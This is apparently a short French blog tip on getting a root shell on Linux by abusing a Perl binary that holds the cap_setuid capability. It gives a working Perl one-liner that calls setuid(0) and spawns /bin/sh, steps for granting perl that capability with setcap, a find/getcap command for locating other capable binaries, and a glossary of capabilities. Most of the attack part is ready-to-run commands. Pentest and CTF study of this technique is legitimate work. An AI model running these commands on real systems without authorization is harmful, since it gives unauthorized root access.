Obtenir le compte administrateur avec Perl

Voilà un astuce

en exécutant le script linpeas, vous remarque que perl apparaît avec les “capabilities”: cap_setuid+ep set

vous pouvez obtenir un shell root


perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Vous pouvez aussi donner à Perl cette capacité:


cp $(which perl) .
sudo setcap cap_setuid+ep perl

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

Pour trouver d’autres exécutables avec des capabilities


find / -type f -exec getcap {} \;

Exemple de capabilities

  • CAP_AUDIT_CONTROL : Permet d’activer et de désactiver l’audit du kernel
  • CAP_AUDIT_WRITE : Aide à écrire des enregistrement dans les logs de l’audit du kernel
  • CAP_BLOCK_SUSPEND : Cette fonctionnalité peut bloquer la mise en veille du système
  • CAP_CHOWN : Permet de faire des changements arbitraires aux UID et GID des fichiers
  • CAP_DAC_OVERRIDE : Ceci aide à outrepasser la vérification des permissions pour la lecture, écriture et exécutation< des fichiers/li>
  • CAP_DAC_READ_SEARCH : Ceci outrepasse uniquement les permissions des fichiers et répertoires pour les permissions de lecture et exécution
  • CAP_FOWNER : Ceci permet de contourner la vérifcation que le UID du processus système corresponde à celui du fichier
  • CAP_KILL : Permet l’envoi de signaux à des processus appertenant à d’autres usagers
  • CAP_SETGID : Permet le changement du GID
  • CAP_SETUID : Permet le changement du UID
  • CAP_SETPCAP : Permet le transfert de capabilites à d’autres PID
  • CAP_IPC_LOCK : Permet de verrouiller la mémoire
  • CAP_MAC_ADMIN : Permet la configuration ou le changement d’état MAC
  • CAP_NET_RAW : Permet l’utilisation de cokets RAW et PACKET et permet de le BIND d’adresse pour un proxy transparent
  • CAP_NET_BIND_SERVICE : Service Bind un Socket sur des ports priviligiés d’un domaine internet

Leave a Reply